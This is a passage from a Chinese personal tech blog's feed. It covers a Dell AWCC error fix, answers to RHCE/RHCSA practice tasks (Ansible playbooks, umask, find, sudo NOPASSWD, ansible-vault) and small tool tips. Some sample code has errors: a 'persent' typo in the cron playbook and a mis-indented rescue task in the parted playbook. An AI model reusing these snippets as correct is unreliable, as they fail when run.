        <content type="html"><![CDATA[<p><strong>都是 <code>KB5013942</code> 惹的祸</strong></p><hr><p>笔记本是 Dell G15  ，用的  AWCC (Alienware-Command-Center) 对电脑性能进行管理，在五月更新之前，玩游戏开启 G模式 ，都正常，在 5月中旬 更新完系统补丁后，发现一些奇奇怪怪的问题，</p><ul><li>AWCC 更新后无法打开，无法通过 Fn+F9 开启高性能G模式</li><li>因为玩游戏不开 G模式，游戏性能会有影响，于是直接重装了系统 windows 1909版本，安装awcc (Alienware-Command-Center-Application) 是正常的，</li><li>使用最新 Windows10 安装 AWCC 提示 错误1603</li></ul><hr><p>首先、确定 AWCC 受新系统影响，</p><ul><li>在1909系统上安装了awcc 可以正常使用，</li><li>更新系统补丁，不更新awcc 能正常使用，</li><li>当更新系统补丁，并且更新awcc后，awcc 无法正常使用</li><li>卸载重装 awcc 也无用，依旧提示 错误1603</li><li>找了dell售后技术，无果，于是乎，只能靠自己了</li></ul><hr><p>打开系统的 <em><strong>事件查看器</strong></em> 在应用日志中看到如下错误</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="string">错误应用程序名称:</span> <span class="string">svchost.exe_ClipSVC，版本:</span> <span class="number">10.0</span><span class="number">.19041</span><span class="number">.1566</span><span class="string">，时间戳:</span> <span class="number">0x1f37eb46</span></span><br><span class="line"><span class="string">错误模块名称:</span> <span class="string">pidgenx.dll，版本:</span> <span class="number">10.0</span><span class="number">.19041</span><span class="number">.1682</span><span class="string">，时间戳:</span> <span class="number">0x3388ed7b</span></span><br><span class="line"><span class="string">异常代码:</span> <span class="number">0xc0000409</span></span><br><span class="line"><span class="string">错误偏移量:</span> <span class="number">0x00000000000187ea</span></span><br><span class="line"><span class="string">错误进程</span> <span class="attr">ID:</span> <span class="number">0x2c8c</span></span><br><span class="line"><span class="string">错误应用程序启动时间:</span> <span class="number">0x01d87681dd42bc0a</span></span><br><span class="line"><span class="string">错误应用程序路径:</span> <span class="string">C:\WINDOWS\System32\svchost.exe</span></span><br><span class="line"><span class="string">错误模块路径:</span> <span class="string">C:\WINDOWS\system32\pidgenx.dll</span></span><br><span class="line"><span class="string">报告</span> <span class="attr">ID:</span> <span class="string">1d8ac81f-e588-4048-b841-e1d6fe1e85da</span></span><br><span class="line"><span class="string">错误程序包全名:</span> </span><br><span class="line"><span class="string">错误程序包相对应用程序</span> <span class="attr">ID:</span> </span><br></pre></td></tr></table></figure><p>经过查询，发现可能是和补丁KB5013942有关，这个补丁是微软 2022年5月发布，正好和故障时间吻合，</p><p><img src="https://images.hao.kim/uploads/2024/11/e0e934683bc1e6a9e3ada0f16f8f7b5ca1e296279a567e4dac351122cb56b727.jpg" alt="awcc-1603-error-0">  </p><p>于是卸载掉这一个更新，等待系统自动重启之后，重新安装 AWCC 未报错，接着安装  Alienware-OC-Controls , 至此, 恢复正常，又可以愉快的玩游戏了</p>]]></content>
      
      
      <categories>
          
          <category> Windows </category>
          
      </categories>
      
      
        <tags>
            
            <tag> AWCC </tag>
            
            <tag> 错误1603 </tag>
            
            <tag> KB5013942 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>parted创建和使用分区</title>
      <link href="/archives/linux/RHCE/Ansible-parted.html"/>
      <url>/archives/linux/RHCE/Ansible-parted.html</url>
      
        <content type="html"><![CDATA[<h5 id="parted创建和使用分区"><a href="#parted创建和使用分区" class="headerlink" title="parted创建和使用分区"></a>parted创建和使用分区</h5><hr><p>创建一个名为 <code>/home/student/ansible/partion.yml</code> 的playbook 它将在 <code>所有</code> 受管节点上创建分区：</p><ol><li>在 <code>vdb</code> 分区上创建一个 <code>1500M</code> 的主分区，分区号 <code>1</code> ，格式化为 <code>ext4</code> , <code>dev</code> 组中主机 将分区 <code>永久</code> 挂载到 <code>/data</code></li><li>如果磁盘空间不足，给出提示信息，<code>Could not create partiontion of that size</code> , 并创建 <code>800M</code> 分区</li><li>如果 <code>vdb</code> 不存在，给出提示信息， <code>This disk is not exist</code></li></ol><hr><p>提示： 模块 block rescue ，parted ，file ，filesystem , mount , debug</p><hr><p><strong>Answer：</strong></p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">vim /home/student/ansible/partion.yml</span><br></pre></td></tr></table></figure><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="meta">---</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">name:</span> <span class="string">create</span> <span class="string">and</span> <span class="string">use</span> <span class="string">parted</span></span><br><span class="line">  <span class="attr">hosts:</span> <span class="string">all</span> </span><br><span class="line">  <span class="attr">tasks:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">create</span> <span class="string">parted</span></span><br><span class="line">      <span class="attr">block:</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">create</span>  <span class="string">1500M</span>  <span class="string">partition</span></span><br><span class="line">          <span class="attr">parted:</span> </span><br><span class="line">            <span class="attr">device:</span> <span class="string">/dev/vdb</span></span><br><span class="line">            <span class="attr">number:</span> <span class="number">1</span></span><br><span class="line">            <span class="attr">state:</span> <span class="string">present</span></span><br><span class="line">            <span class="attr">part_end:</span> <span class="string">1500MiB</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">format</span> <span class="string">fs</span></span><br><span class="line">          <span class="attr">filesystem:</span></span><br><span class="line">            <span class="attr">fstype:</span> <span class="string">ext4</span></span><br><span class="line">            <span class="attr">dev:</span> <span class="string">/dev/vdb1</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">name:</span></span><br><span class="line">          <span class="attr">block:</span></span><br><span class="line">            <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">create</span> <span class="string">directory</span></span><br><span class="line">              <span class="attr">file:</span> </span><br><span class="line">                <span class="attr">path:</span> <span class="string">/data</span></span><br><span class="line">                <span class="attr">state:</span> <span class="string">directory</span></span><br><span class="line">            <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">mount</span></span><br><span class="line">              <span class="attr">mount:</span></span><br><span class="line">                <span class="attr">src:</span> <span class="string">/dev/vdb1</span></span><br><span class="line">                <span class="attr">path:</span> <span class="string">/data</span></span><br><span class="line">                <span class="attr">state:</span> <span class="string">mounted</span></span><br><span class="line">                <span class="attr">fstype:</span> <span class="string">ext4</span></span><br><span class="line">          <span class="attr">when:</span> <span class="string">inventory_hostname</span> <span class="string">in</span> <span class="string">groups.dev</span></span><br><span class="line">      <span class="attr">rescue:</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">errors</span></span><br><span class="line">          <span class="attr">debug:</span></span><br><span class="line">            <span class="attr">msg:</span> <span class="string">&quot;Could not create partition of that size&quot;</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">create</span> <span class="string">800M</span> <span class="string">partition</span></span><br><span class="line">            <span class="attr">parted:</span></span><br><span class="line">              <span class="attr">device:</span> <span class="string">/dev/vdb</span></span><br><span class="line">              <span class="attr">number:</span> <span class="number">1</span></span><br><span class="line">              <span class="attr">state:</span> <span class="string">present</span></span><br><span class="line">              <span class="attr">part_end:</span> <span class="string">800MiB</span></span><br><span class="line">      <span class="attr">when:</span> <span class="string">ansible_devices.vdb</span> <span class="string">is</span> <span class="string">defined</span></span><br><span class="line"></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">&quot;error&quot;</span></span><br><span class="line">      <span class="attr">debug:</span> </span><br><span class="line">        <span class="attr">msg:</span> <span class="string">&quot;this disk is not exist&quot;</span></span><br><span class="line">      <span class="attr">when:</span> <span class="string">ansible_devices.vdb</span> <span class="string">is</span> <span class="string">not</span> <span class="string">defined</span></span><br></pre></td></tr></table></figure><p>验证:</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ansible all -a <span class="string">&#x27;lsblk&#x27;</span></span><br><span class="line">ansible dev -a <span class="string">&#x27;cat /etc/fstab&#x27;</span></span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/11/c38e0caa153760e7a6478d446c712e0f9324c3d3d9d2aaec616466ef9553712f.jpg" alt="Ansible-parted-0"></p>]]></content>
      
      
      <categories>
          
          <category> linux </category>
          
          <category> RHCE </category>
          
      </categories>
      
      
        <tags>
            
            <tag> RHCE </tag>
            
            <tag> parted </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>使用系统角色selinux</title>
      <link href="/archives/linux/RHCE/Ansible-selinux.html"/>
      <url>/archives/linux/RHCE/Ansible-selinux.html</url>
      
        <content type="html"><![CDATA[<h5 id="使用系统角色selinux"><a href="#使用系统角色selinux" class="headerlink" title="使用系统角色selinux"></a>使用系统角色selinux</h5><hr><p>使用rhel系统角色 selinux 安装rhel系统角色软件包，并创建符合以下条件的playbook <code>/home/studnet/ansible/selinux.yml</code></p><ul><li>在所有节点上运行，使用 <code>selinux</code></li><li>且配置被管节点的 <code>selinux</code> 为 <code>enforcing</code></li></ul><hr><p>提示： <code>rhel-system-roles</code></p><hr><p><strong>Answer:</strong></p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">yum -y install rhel-system-roles</span><br><span class="line"><span class="built_in">cp</span> -a /usr/share/ansible/roles/rhel-system-roles.selinux /home/student/ansible/roles/selinux</span><br><span class="line"><span class="built_in">cp</span> /usr/share/doc/rhel-system-roles/selinux/example-selinux-playbook.yml /home/student/ansible/</span><br><span class="line"><span class="built_in">mv</span> example-selinux-playbook.yml selinux.yml </span><br><span class="line">vim selinux.yml</span><br></pre></td></tr></table></figure><p>对内容进行删减，留下面即可</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="meta">---</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">hosts:</span> <span class="string">all</span> </span><br><span class="line">  <span class="attr">vars:</span></span><br><span class="line">    <span class="attr">selinux_policy:</span> <span class="string">targeted</span></span><br><span class="line">    <span class="attr">selinux_state:</span> <span class="string">enforcing</span></span><br><span class="line">  <span class="attr">tasks:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">exectue</span> <span class="string">the</span> <span class="string">role</span> <span class="string">and</span> <span class="string">catch</span> <span class="string">errors</span></span><br><span class="line">      <span class="attr">block:</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">include_role:</span></span><br><span class="line">            <span class="attr">name:</span> <span class="string">selinux</span></span><br><span class="line">      <span class="attr">rescue:</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">handle</span> <span class="string">errors</span></span><br><span class="line">          <span class="attr">fail:</span></span><br><span class="line">            <span class="attr">msg:</span> <span class="string">&quot;role failed&quot;</span></span><br><span class="line">          <span class="attr">when:</span> <span class="string">not</span> <span class="string">selinux_reboot_required</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">restart</span> <span class="string">managed</span> <span class="string">host</span></span><br><span class="line">          <span class="attr">shell:</span> <span class="string">sleep</span> <span class="number">2</span> <span class="string">&amp;&amp;</span> <span class="string">shutdown</span> <span class="string">-r</span> <span class="string">now</span> <span class="string">&quot;Ansible updates triggered&quot;</span></span><br><span class="line">          <span class="attr">async:</span> <span class="number">1</span></span><br><span class="line">          <span class="attr">poll:</span> <span class="number">0</span></span><br><span class="line">          <span class="attr">ignore_errors:</span> <span class="literal">true</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">wait</span> <span class="string">for</span> <span class="string">mananged</span> <span class="string">host</span> <span class="string">to</span> <span class="string">come</span> <span class="string">back</span></span><br><span class="line">          <span class="attr">wait_for_connection:</span></span><br><span class="line">            <span class="attr">delay:</span> <span class="number">10</span> </span><br><span class="line">            <span class="attr">timeout:</span> <span class="number">300</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">reapply</span> <span class="string">the</span> <span class="string">role</span></span><br><span class="line">          <span class="attr">include_role:</span></span><br><span class="line">            <span class="attr">name:</span> <span class="string">selinux</span></span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ansible-playbook selinux.yml</span><br></pre></td></tr></table></figure><p>验证：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ansible all -a <span class="string">&#x27;grep &quot;^SELINUX=&quot; /etc/selinux/config&#x27;</span></span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/11/5decd67efed1069c2f6032dbad501d4222dfd499a9c521ee825daadeab22d255.jpg" alt="Ansible-selinux-0">  </p>]]></content>
      
      
      <categories>
          
          <category> linux </category>
          
          <category> RHCE </category>
          
      </categories>
      
      
        <tags>
            
            <tag> ansible </tag>
            
            <tag> RHCE </tag>
            
            <tag> selinux </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>cron创建计划任务</title>
      <link href="/archives/linux/RHCE/Ansible-cron.html"/>
      <url>/archives/linux/RHCE/Ansible-cron.html</url>
      
        <content type="html"><![CDATA[<h5 id="创建计划任务"><a href="#创建计划任务" class="headerlink" title="创建计划任务"></a>创建计划任务</h5><hr><p>在 <code>所有主机</code> 上创建一个名为 <code>/home/student/ansible/cron.yml</code> 的playbook，</p><ul><li>配置cron任务，每隔 <code>2</code> 分钟运行， 并 执行以下命令<ul><li><code>logger &quot;ex200 in progress&quot;</code></li></ul></li><li>以 <code>natasha</code> 身份运行</li></ul><hr><p>提示：</p><ul><li>模块 <code>user</code> ， <code>cron</code></li></ul><hr><p><strong>Answer：</strong></p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">vim /home/student/ansible/cron.yml</span><br></pre></td></tr></table></figure><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="meta">---</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">name:</span> <span class="string">cron</span> <span class="string">job</span></span><br><span class="line">  <span class="attr">hosts:</span> <span class="string">all</span></span><br><span class="line">  <span class="attr">tasks:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">create</span> <span class="string">user</span></span><br><span class="line">      <span class="attr">user:</span> </span><br><span class="line">        <span class="attr">name:</span> <span class="string">natasha</span></span><br><span class="line">        <span class="attr">state:</span> <span class="string">persent</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">create</span> <span class="string">cron</span> <span class="string">job</span></span><br><span class="line">      <span class="attr">cron:</span></span><br><span class="line">        <span class="attr">name:</span> <span class="string">&quot;job , 2 minute /per&quot;</span></span><br><span class="line">        <span class="attr">minute:</span> <span class="string">&#x27;*/2&#x27;</span></span><br><span class="line">        <span class="attr">user:</span> <span class="string">natasha</span></span><br><span class="line">        <span class="attr">job:</span> <span class="string">logger</span> <span class="string">&quot;ex200 in progress&quot;</span></span><br></pre></td></tr></table></figure><p>验证：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ansible all -a <span class="string">&#x27;crontab -u natasha -l&#x27;</span></span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/11/867f6a8bcd946e2d1838116246a4f7213b654fc69dbee292732cd68bbf3ad305.jpg" alt="Ansible-cron-0"></p>]]></content>
      
      
      <categories>
          
          <category> linux </category>
          
          <category> RHCE </category>
          
      </categories>
      
      
        <tags>
            
            <tag> ansible </tag>
            
            <tag> RHCE </tag>
            
            <tag> cron </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>umask设置用户默认权限</title>
      <link href="/archives/linux/RHCSA/umask.html"/>
      <url>/archives/linux/RHCSA/umask.html</url>
      
        <content type="html"><![CDATA[<h5 id="umask设置用户权限、"><a href="#umask设置用户权限、" class="headerlink" title="umask设置用户权限、"></a>umask设置用户权限、</h5><hr><p>设置 <code>natasha</code> 用户创建的目录权限默认为 <code>733</code> ，文件权限为 <code>622</code> ，永久生效</p><hr><p>提示： <code>umask</code> #查看当前umask值 文件夹及文件权限：</p><p>永久生效：</p><ul><li>.bashrc 文件<br>~&#x2F;.bashrc 当前用户 &#x2F;etc&#x2F;bashrc 所有用户</li></ul><hr><p><strong>Answer：</strong></p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">echo</span> <span class="string">&quot;umask 044&quot;</span> &gt;&gt; /home/natasha/.bashrc</span><br></pre></td></tr></table></figure><p>验证</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">su - natasha</span><br><span class="line"><span class="built_in">echo</span> 123 &gt; 123123</span><br><span class="line">ll</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/11/e3248f380404c1c62383d78e55af85c3cc2f389d43dfa19bf10cb3e9d18af587.jpg" alt="umask-0">  </p>]]></content>
      
      
      <categories>
          
          <category> linux </category>
          
          <category> RHCSA </category>
          
      </categories>
      
      
        <tags>
            
            <tag> umask </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>创建脚本查找相应文件</title>
      <link href="/archives/linux/RHCSA/find.html"/>
      <url>/archives/linux/RHCSA/find.html</url>
      
        <content type="html"><![CDATA[<h5 id="创建脚本查找相应文件"><a href="#创建脚本查找相应文件" class="headerlink" title="创建脚本查找相应文件"></a>创建脚本查找相应文件</h5><hr><p>创建 <code>/usr/local/bin/myresearch</code> 脚本，查找 <code>/usr/</code> 下所有 <strong><code>小于10M</code></strong> 且 具有 <strong><code>修改组ID</code></strong> 权限的文件 ，将这些文件复制到 <code>/root/myfiles/</code> 下</p><hr><p>提示：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">find：</span><br><span class="line">-size [+/-]大小</span><br><span class="line">-a -and  且</span><br><span class="line">-o -or   或</span><br><span class="line">-not     非</span><br><span class="line">-perm </span><br><span class="line">    -2000 sgid</span><br><span class="line">    -4000 suid</span><br></pre></td></tr></table></figure><hr><p><strong>Answer:</strong></p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">vim /usr/local/bin/myresearch</span><br></pre></td></tr></table></figure><figure class="highlight vim"><table><tr><td class="code"><pre><span class="line">#!/bin/bash</span><br><span class="line"><span class="keyword">if</span> [ ! -d <span class="string">&quot;/root/myfiles/&quot;</span> ]; then</span><br><span class="line">    <span class="built_in">mkdir</span> -<span class="keyword">p</span> /root/myfiles/</span><br><span class="line">fi</span><br><span class="line"><span class="keyword">find</span> /usr/ -size -<span class="number">10</span>M -<span class="keyword">a</span> -perm -<span class="number">2000</span> -exec <span class="keyword">cp</span> -<span class="keyword">a</span> &#123;&#125; /root/myfiles/ \;</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">chmod</span> +x /usr/local/bin/myresearch</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">bash /usr/local/bin/myresearch</span><br></pre></td></tr></table></figure><p>验证：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ll /root/myfiles/</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> linux </category>
          
          <category> RHCSA </category>
          
      </categories>
      
      
        <tags>
            
            <tag> find </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>设置用户密码过期时间</title>
      <link href="/archives/linux/RHCSA/login-defs.html"/>
      <url>/archives/linux/RHCSA/login-defs.html</url>
      
        <content type="html"><![CDATA[<h5 id="设置用户密码过期时间"><a href="#设置用户密码过期时间" class="headerlink" title="设置用户密码过期时间"></a>设置用户密码过期时间</h5><hr><p>设置密码过期时间为 <code>20</code> 天</p><hr><p><strong>Answer：</strong></p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">vim /etc/login.defs</span><br></pre></td></tr></table></figure><figure class="highlight vim"><table><tr><td class="code"><pre><span class="line">PASS_MAX_DAYS  <span class="number">20</span> #最大有效期</span><br><span class="line">#PASS_MIN_DAYS  #最小天数</span><br><span class="line">#PASS_MIN_LEN   #最小长度</span><br><span class="line">#PASS_WARN_AGE  #密码到期前告警时间</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> linux </category>
          
          <category> RHCSA </category>
          
      </categories>
      
      
        <tags>
            
            <tag> login.defs </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>设置sudo免密操作</title>
      <link href="/archives/linux/RHCSA/sudo-nopasswd.html"/>
      <url>/archives/linux/RHCSA/sudo-nopasswd.html</url>
      
        <content type="html"><![CDATA[<h4 id="设置sudo免密操作"><a href="#设置sudo免密操作" class="headerlink" title="设置sudo免密操作"></a>设置sudo免密操作</h4><hr><p>允许 <code>sysmgrs</code> 组成员执行 <code>sudo</code> 时 <code>不需要密码</code></p><hr><p><strong>Answer：</strong></p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">visudo</span><br></pre></td></tr></table></figure><figure class="highlight vim"><table><tr><td class="code"><pre><span class="line">%sysmgrs ALL=(ALL) NOPASSWD: ALL</span><br></pre></td></tr></table></figure><hr><p>或者</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">echo</span> <span class="string">&quot;%sysmgrs ALL=(ALL) NOPASSWD: ALL&quot;</span> &gt;&gt; /etc/sudoers</span><br></pre></td></tr></table></figure><p><strong>验证：</strong> 创建一个用户，隶属于对应组，然后执行sudo</p>]]></content>
      
      
      <categories>
          
          <category> linux </category>
          
          <category> RHCSA </category>
          
      </categories>
      
      
        <tags>
            
            <tag> sudo </tag>
            
            <tag> nopasswd </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Linux自动保存Bing每日美图并设为桌面背景</title>
      <link href="/archives/tools/linux-bingwallpapers.html"/>
      <url>/archives/tools/linux-bingwallpapers.html</url>
      
        <content type="html"><![CDATA[<h4 id="主目录新建一个文件夹-BingWallpapers-，存放壁纸"><a href="#主目录新建一个文件夹-BingWallpapers-，存放壁纸" class="headerlink" title="主目录新建一个文件夹 BingWallpapers ，存放壁纸"></a>主目录新建一个文件夹 BingWallpapers ，存放壁纸</h4><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">mkdir</span> /root/BingWallpapers</span><br></pre></td></tr></table></figure><h4 id="桌面空白处右键-——-桌面设置-——-壁纸-设置为刚才设置的目录"><a href="#桌面空白处右键-——-桌面设置-——-壁纸-设置为刚才设置的目录" class="headerlink" title="桌面空白处右键 —— 桌面设置 —— 壁纸 设置为刚才设置的目录"></a>桌面空白处右键 —— 桌面设置 —— 壁纸 设置为刚才设置的目录</h4><h4 id="编写一个脚本文件，存为"><a href="#编写一个脚本文件，存为" class="headerlink" title="编写一个脚本文件，存为"></a>编写一个脚本文件，存为</h4><p>&#x2F;root&#x2F;bing&#x2F;bing.sh</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="meta">#!/bin/bash</span></span><br><span class="line"><span class="built_in">sleep</span> 10</span><br><span class="line">url=`curl -s <span class="string">&quot;http://www.bing.com/HPImageArchive.aspx?format=js&amp;idx=0&amp;n=1&quot;</span> |  <span class="built_in">cut</span> -d <span class="string">&#x27;&quot;&#x27;</span> -f 18`</span><br><span class="line">bingurl=https://cn.bing.com<span class="variable">$url</span></span><br><span class="line">filename=`<span class="built_in">date</span> -u +<span class="string">&quot;%Y-%m-%d&quot;</span>`</span><br><span class="line">wget -q <span class="variable">$bingurl</span> -O /root/BingWallpapers/<span class="variable">$filename</span>.jpg</span><br><span class="line"><span class="built_in">exit</span></span><br></pre></td></tr></table></figure><h4 id="通过-crontab-e-添加一个任务"><a href="#通过-crontab-e-添加一个任务" class="headerlink" title="通过 crontab -e 添加一个任务"></a>通过 crontab -e 添加一个任务</h4><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">@reboot /root/bing/bing.sh</span><br></pre></td></tr></table></figure><p>下次开机 10秒后 会从bing下载每日美图，并保存文件名为当前日期</p>]]></content>
      
      
      <categories>
          
          <category> tools </category>
          
      </categories>
      
      
        <tags>
            
            <tag> bingwallpapers </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>分享个 QQ空间相册批量导出原图插件</title>
      <link href="/archives/tools/QQzone-export.html"/>
      <url>/archives/tools/QQzone-export.html</url>
      
        <content type="html"><![CDATA[<p>有时候需要 批量下载 自己或者好友 QQ空间 的 高清原图，一个个下载导出原图会比较慢，这里分享一个浏览器插件，可以很方便的 批量下载 QQ空间 的图片，极大的提高了工作效率， 下面是项目地址，安装和用法都写得很详细</p><h5 id="项目地址"><a href="#项目地址" class="headerlink" title="项目地址"></a>项目地址</h5><p><a href="https://github.com/ShunCai/QZoneExport">https://github.com/ShunCai/QZoneExport</a></p><h5 id="在线安装"><a href="#在线安装" class="headerlink" title="在线安装"></a>在线安装</h5><ul><li><a href="https://chrome.google.com/webstore/detail/aofadimegphfgllgjblddapiaojbglhf">Chrome浏览器 (可能需要梯子)</a></li><li><a href="https://microsoftedge.microsoft.com/addons/detail/djfalpkpjgpkfnkfmnegbalnicdoljcn">Microsoft Edge</a></li><li><a href="https://ext.chrome.360.cn/webstore/detail/dboplopmhoafmbcbmcecapkmcodhcegh">360极速浏览器</a></li><li><a href="https://ext.se.360.cn/webstore/detail/dboplopmhoafmbcbmcecapkmcodhcegh">360安全浏览器</a></li><li>其他<a href="https://baidu.lvshuncai.com/?q=Q2hyb21pdW3lhoXmoLjmtY/op4jlmag=">Chromium内核浏览器</a>请移步-&gt;<a href="https://github.com/ShunCai/QZoneExport#%E7%A6%BB%E7%BA%BF%E5%AE%89%E8%A3%85">离线安装</a></li></ul><h5 id="安装好后-点击-右上角-类似-QQ空间图标-那个扩展-然后勾选自己要保存的内容，开始下载即可"><a href="#安装好后-点击-右上角-类似-QQ空间图标-那个扩展-然后勾选自己要保存的内容，开始下载即可" class="headerlink" title="安装好后 点击 右上角 类似 QQ空间图标 那个扩展 然后勾选自己要保存的内容，开始下载即可"></a>安装好后 点击 右上角 类似 QQ空间图标 那个扩展 然后勾选自己要保存的内容，开始下载即可</h5><p><img src="https://images.hao.kim/uploads/2024/11/1ee2a2324fa8b6a5b8b828bfe57af038ee6be699d70e717bd7e32844e961623e.jpg" alt="QQzone-export-0">  </p>]]></content>
      
      
      <categories>
          
          <category> tools </category>
          
      </categories>
      
      
        <tags>
            
            <tag> QZoneExport </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Navicat连接SQL Server提示 &#39;IM002 Microsoft ODBC 驱动程序管理器 未发现数据源名称并且未指定默认驱动程序&#39;</title>
      <link href="/archives/tools/Navicat-install-odbc-driver.html"/>
      <url>/archives/tools/Navicat-install-odbc-driver.html</url>
      
        <content type="html"><![CDATA[<p>首次使用Navicat，连接SQL server的时候如果没有安装对于的模块会提示 <code>[IM002] [Microsoft][ODBC 驱动程序管理器] 未发现数据源名称并且未指定默认驱动程序</code> 错误，</p><p><img src="https://images.hao.kim/uploads/2024/11/e35514fd0b68a6702bda7301dc85edbe29f19d700895870d553ac9c8a1ade849.jpg" alt="Navicat-install-odbc-driver-0"></p><p>原因是没有安装对应的模块msodbcsql_64.msi，相关文件在程序根目录有提供，所以在安装目录找到对应文件安装即可。</p><h5 id="★-桌面Navicat图标——右键——打开文件位置"><a href="#★-桌面Navicat图标——右键——打开文件位置" class="headerlink" title="★ 桌面Navicat图标——右键——打开文件位置"></a>★ 桌面Navicat图标——右键——打开文件位置</h5><p><img src="https://images.hao.kim/uploads/2024/11/b8e9edfdde2450757741682c5e6f59b3d9ef351714be2853a163dea8262f2b9e.jpg" alt="Navicat-install-odbc-driver-1"></p><h5 id="★-双击打开msodbcsql-64-msi，安装的时候注意选择”Will-be-installed-on-local-hard-drive”"><a href="#★-双击打开msodbcsql-64-msi，安装的时候注意选择”Will-be-installed-on-local-hard-drive”" class="headerlink" title="★ 双击打开msodbcsql_64.msi，安装的时候注意选择”Will be installed on local hard drive”"></a>★ 双击打开msodbcsql_64.msi，安装的时候注意选择”Will be installed on local hard drive”</h5><p><img src="https://images.hao.kim/uploads/2024/11/b962fc041436d5ff739984635311e0d2a63583fec9562c6ea6c1c19cf3da9a29.jpg" alt="Navicat-install-odbc-driver-2"></p><h5 id="★-安装完成后重新打开软件进行连接即可"><a href="#★-安装完成后重新打开软件进行连接即可" class="headerlink" title="★ 安装完成后重新打开软件进行连接即可"></a>★ 安装完成后重新打开软件进行连接即可</h5>]]></content>
      
      
      <categories>
          
          <category> tools </category>
          
      </categories>
      
      
        <tags>
            
            <tag> navicat </tag>
            
            <tag> odbc </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>更新Ansible库的密钥</title>
      <link href="/archives/linux/RHCE/Ansible-update-salaries.html"/>
      <url>/archives/linux/RHCE/Ansible-update-salaries.html</url>
      
        <content type="html"><![CDATA[<h4 id="RHCE8-练习题：更新Ansible库的密钥"><a href="#RHCE8-练习题：更新Ansible库的密钥" class="headerlink" title="RHCE8 练习题：更新Ansible库的密钥"></a>RHCE8 练习题：更新Ansible库的密钥</h4><p>按照下方所述，更新现有 Ansible库的密钥：</p><ul><li>从 <code>http://materials.example.com/cd/exam_rhce8/salaries.yml</code> 下载Ansible库到 <code>/home/student/ansible</code> 目录</li><li>当前的库密码为 <code>retent</code></li><li>新的库密码为 <code>redhat</code></li><li>库使用新密码保持 <code>加密状态</code></li></ul><hr><h4 id="Answer"><a href="#Answer" class="headerlink" title="Answer"></a>Answer</h4><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ansible-vault view salaries.yml </span><br><span class="line"><span class="comment">#使用密码retent查看文件内容</span></span><br><span class="line"></span><br><span class="line">ansible-vault rekey salaries.yml </span><br><span class="line"><span class="comment">#首先输入旧密码，然后输入两次新密码进行修改</span></span><br></pre></td></tr></table></figure><p><img 